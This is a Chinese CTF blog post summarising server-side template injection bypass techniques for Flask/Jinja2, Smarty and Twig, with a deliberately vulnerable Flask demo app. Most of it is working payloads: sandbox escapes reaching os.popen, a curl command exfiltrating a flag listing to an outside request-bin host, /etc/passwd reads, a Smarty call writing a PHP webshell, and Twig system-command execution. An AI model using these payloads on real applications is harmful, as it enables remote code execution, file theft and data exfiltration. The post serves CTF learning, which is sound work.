3rsh1
/single dog/college student/ctfer
3rsh1's Blog

ssti模板注入浅析及绕过总结2

因为之前做过几道flask ssti的题目,也想整理一下绕过技巧。于是就有了这篇文章。

补充链接:

https://xz.aliyun.com/t/8029#toc-7

———— 2021-01-26 09:46:03 星期二

flask ssti (python)

demo文件:

app.py:

from flask import Flask, render_template, render_template_string, request
app = Flask(__name__)
@app.route("/")

def index():
    exploit = request.args.get('exploit')
    rendered_template = render_template("app.html", exploit=exploit)
    print(rendered_template)
    return render_template_string(rendered_template)
if __name__ == "__main__":
    app.run(debug=True)

app.html:

{% autoescape False %}
  <h1>Hello {{ exploit }}!</h1>
{% endautoescape %}

这边需要注意的是,针对那些以.html.htm.xml.xhtml结尾的文件,如果采用render_template函数进行渲染的,则会开启自动转义。并且当用render_template_string函数的时候,会将所有的字符串进行转义后再渲染。在上面的demo中就是先转义再渲染。转义主要是避免一些特殊符号< > "等对html语法含有的特定符号产生影响。也会对我们的payload产生影响。

所以呢,需要取消自动转义,即app.html内的写法。

技巧1

"".__class__ = ""["__class__"] => ["__clas"+"s__"]
.__subclasses__()=["__subclasses__"]()

这里的[]内可以是属性,也可以是方法。主要的思想就是把__class__转化成字符串,既然转化成字符串就可以进行编码绕过。

技巧2

//request.args.x1 获取x1参数的值,get传参
//request.args.x2
?exploit={{()[request.args.x1]}}&x1=__class__

没办法用.拼接使用。

技巧3

模板渲染支持管道符|,我的理解是自左向右逐个“消除”。

对于attr,我认为是参数的传递,要获取的是对象的方法?还是属性?

""|attr("__class__")|attr("__ba"+"se__")="".__class__.__base__

首先是获取"".__class__的值,然后获取"".__class__.__base__的值。

技巧3

['a','b']|join = ab 换成()也是一样的
()|attr(['__','class','__']|join)
()[(['__','class','__']|join)]

是对于字符串的拼接,那么拼接出来也是一个字符串。

技巧4

getlist(a)  获取变量a的列表
{{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_

列表类似于[1,2,3],可以用join拼接。

技巧5

__getitem__(n)获取数组第n个元素的值

当过滤了[]时可以用。

技巧6

__getattribute__ 使用实例访问属性时,调用该方法

注意:仅仅是实例访问属性的时候才可以用。也可以用编码绕过:

{{[].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}}

技巧7

使用{% if ... %}1{% endif %},例如

{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://http.bin.buuoj.cn/1inhq4f1 -d `ls / |  grep flag`;') %}1{% endif %}

如果不能执行命令,读取文件可以利用盲注的方法逐位将内容爆出来

{% if ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/test').read()[0:1]=='p' %}1{% endif %}

技巧8

{{config}}可以获取当前设置,如果题目类似app.config ['FLAG'] = os.environ.pop('FLAG'),那可以直接访问{{config['FLAG']}}或者{{config.FLAG}}得到flag

{{self}} ⇒ <TemplateReference None>
{{self.__dict__._TemplateReference__context.config}} ⇒ 同样可以找到config

技巧9

格式化字符串:

"{:c}".format(98)   # 按照ascii码的形式来解析format中的数字
"%c"%(98)

payload:

{{""["__{:c}{:c}{:c}{:c}{:c}".format(99,108,97,115,115)%2b"__"]}}
""["__class__"]
第二种同理。

参考链接

https://www.cnblogs.com/20175211lyz/p/11425368.html
https://xz.aliyun.com/t/7519

smarty ssti (php)

Smarty是一个PHP的模板引擎,它提供了一种易于管理和使用的办法,用来将原本与HTML代码混杂在一起的PHP代码逻辑分离

查看smarty的版本:

{$smarty.version}

旧版Smarty支持使用{php}{/php}标签来执行被包裹其中的php指令。

 Smarty已经废弃{php}标签,强烈建议不要使用。在Smarty 3.1,{php}仅在SmartyBC中可用 
 {php}phpinfo(){/php}

php函数可以直接使用:

{phpinfo()}

旧版Smarty可以通过self获取Smarty类再调用其静态方法实现文件读写 :

{self::getStreamVariable("file:///etc/passwd")}
{Smarty_Internal_Write_File::writeFile(SCRIPT_NAME,"<?php passthru(_GET['cmd']); ?>",self::clearConfig())}

在3.1.30的Smarty版本中官方已经把该静态方法删除。对于那些文章提到的利用Smarty_Internal_Write_File类的writeFile方法来写shell也由于同样的原因无法使用。

Smarty的{if}条件判断和PHP的if 非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if},也可以使用{else} 和 {elseif}。全部的PHP条件表达式和函数都可以在if内使用,如||, or, &&, and, is_array()等等。

{if phpinfo()}{/if}

{literal}可以让一个模板区域的字符原样输出。这经常用于保护页面上的Javascript或css样式表,避免因为Smarty的定界符而错被解析。 那么对于php5的环境我们就可以使用(php7失效):

<script language="php">phpinfo();</script>

twig ssti

文件读取

{{'/etc/passwd'|file_excerpt(1,30)}}
{{app.request.files.get(1).__construct('/etc/passwd','')}}
{{app.request.files.get(1).openFile.fread(99)}}

rce

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{['cat /etc/passwd']|filter('system')}}
POST /subscribe?0=cat+/etc/passwd HTTP/1.1
{{app.request.query.filter(0,0,1024,{'options':'system'})}}

发表评论

textsms
account_circle
email

3rsh1's Blog

ssti模板注入浅析及绕过总结2
因为之前做过几道flask ssti的题目,也想整理一下绕过技巧。于是就有了这篇文章。 补充链接: https://xz.aliyun.com/t/8029#toc-7 ———— 2021-01-26 09:46:03 星期二 flask ssti (py…
扫描二维码继续阅读
2020-08-03